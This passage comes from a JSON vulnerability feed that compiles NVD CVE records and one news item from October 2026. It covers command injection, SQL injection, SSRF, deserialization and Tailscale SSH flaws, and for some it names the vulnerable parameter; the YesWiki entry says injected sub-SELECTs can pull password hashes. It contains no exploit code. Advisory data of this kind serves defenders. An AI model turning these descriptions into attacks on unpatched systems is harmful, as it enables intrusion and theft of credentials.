2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116102","cveId":"CVE-2026-116102","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py.","summary":"A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py. This manipulation of the argument project_name causes os command injection. It is possible to initiate the attack remotely.","detail":"A vulnerability was determined in QuantGeekDev docker-mcp 0.1.0/0.2.0. The impacted element is the function _build_windows_command of the file docker_executor.py. This manipulation of the argument project_name causes os command injection. It is possible to initiate the attack remotely.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T01:17:15.377Z","updatedAt":"2026-10-26T17:17:20.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116102","asOf":"2026-10-26T17:17:20.310Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116102","type":"primary","publishedAt":"2026-10-26T01:17:15.377Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116099","cveId":"CVE-2026-116099","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual...","summary":"A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual Machine. Executing a manipulation can lead to out-of-bounds write. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 1.3R is capable of addressing this issue. It is recommended to upgrade the affected component.","detail":"A flaw has been found in Fusion Creators Studio SCP Containment Breach Multiplayer up to 1.295. This issue affects the function BlitzBanks of the component Skynet++ Virtual Machine. Executing a manipulation can lead to out-of-bounds write. The attack can be executed remotely. The exploit has been published and may be used. Upgrading to version 1.3R is capable of addressing this issue. It is recommended to upgrade the affected component.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T00:17:14.613Z","updatedAt":"2026-10-26T17:17:20.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116099","asOf":"2026-10-26T17:17:20.170Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116099","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116099","type":"primary","publishedAt":"2026-10-26T00:17:14.613Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116098","cveId":"CVE-2026-116098","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map...","summary":"A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map Handler. Performing a manipulation results in deserialization. Remote exploitation of the attack is possible. The patch is named EA39 Security Patch. Applying a patch is the recommended action to fix this issue.","detail":"A vulnerability was detected in SteelRaven7 Ravenfield 25407073. This vulnerability affects the function cacheCoverPoints of the component RFL Custom Map Handler/RFLD Custom Map Handler. Performing a manipulation results in deserialization. Remote exploitation of the attack is possible. The patch is named EA39 Security Patch. Applying a patch is the recommended action to fix this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T00:17:14.430Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116098","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116098","type":"primary","publishedAt":"2026-10-26T00:17:14.430Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116094","cveId":"CVE-2026-116094","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php.","summary":"A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php. Executing a manipulation can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in EyouCMS up to 1.8.3. This impacts the function remote_file_to_local of the file application/function.php. Executing a manipulation can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T22:16:29.253Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116094","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116094","type":"primary","publishedAt":"2026-10-25T22:16:29.253Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116062","cveId":"CVE-2026-116062","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php.","summary":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php. The manipulation of the argument Contact results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.","detail":"A security flaw has been discovered in SourceCodester Performance Indicator System 1.0. This issue affects some unknown processing of the file /opils/staff/save_profile.php. The manipulation of the argument Contact results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T18:16:46.950Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116062","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116062","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116062","type":"primary","publishedAt":"2026-10-25T18:16:46.950Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116061","cveId":"CVE-2026-116061","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php.","summary":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php. The manipulation of the argument Contact leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.","detail":"A vulnerability was identified in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_dealer.php. The manipulation of the argument Contact leads to sql injection. The attack may be initiated remotely. The exploit is publicly available and might be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T18:16:46.790Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116061","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116061","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116061","type":"primary","publishedAt":"2026-10-25T18:16:46.790Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-unpatched-tailscale-ssh-flaws-could-let-33f7736e7463","cveId":null,"aliases":[],"kind":"vulnerability","title":"Unpatched Tailscale SSH Flaws Could Let a Hacked Device Reach Root on Other Servers","summary":"A single hacked device on a Tailscale network can be used to gain root access to other servers it can reach, according to a security researcher who published the findings this week.\n\nThe attack requires two things: Tailscale SSH set up to allow port forwarding, and an attacker who already controls one device that the network's access rules permit to connect to the target.\n\nThe findings were","detail":"A single hacked device on a Tailscale network can be used to gain root access to other servers it can reach, according to a security researcher who published the findings this week.\n\nThe attack requires two things: Tailscale SSH set up to allow port forwarding, and an attacker who already controls one device that the network's access rules permit to connect to the target.\n\nThe findings were\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-25T17:44:09.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Unpatched Tailscale SSH Flaws Could Let a Hacked Device Reach Root on Other Servers","url":"https://thehackernews.com/2026/10/unpatched-tailscale-ssh-flaws-could-let.html","type":"reporting","publishedAt":"2026-10-25T17:44:09.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116060","cveId":"CVE-2026-116060","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php.","summary":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php. Executing a manipulation of the argument Contact can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.","detail":"A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This affects an unknown part of the file /opils/staff/adddealer.php. Executing a manipulation of the argument Contact can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T17:17:02.123Z","updatedAt":"2026-10-26T17:17:19.493Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116060","asOf":"2026-10-26T17:17:19.493Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116060","type":"primary","publishedAt":"2026-10-25T17:17:02.123Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116211","cveId":"CVE-2026-116211","aliases":[],"kind":"vulnerability","title":"YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated...","summary":"YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated unescaped into an INSERT statement. Unauthenticated attackers on default installs can inject a sub-SELECT against wiki_users to exfiltrate password hashes.","detail":"YesWiki 4.5.0 before 4.7.0 contains an SQL injection vulnerability in PageManager::save(), where the date_maj_fiche field of a Bazar entry-creation request is concatenated unescaped into an INSERT statement. Unauthenticated attackers on default installs can inject a sub-SELECT against wiki_users to exfiltrate password hashes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-25T14:17:02.187Z","updatedAt":"2026-10-25T14:17:02.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116211","asOf":"2026-10-25T14:17:02.300Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116211","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116211","type":"primary","publishedAt":"2026-10-25T14:17:02.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 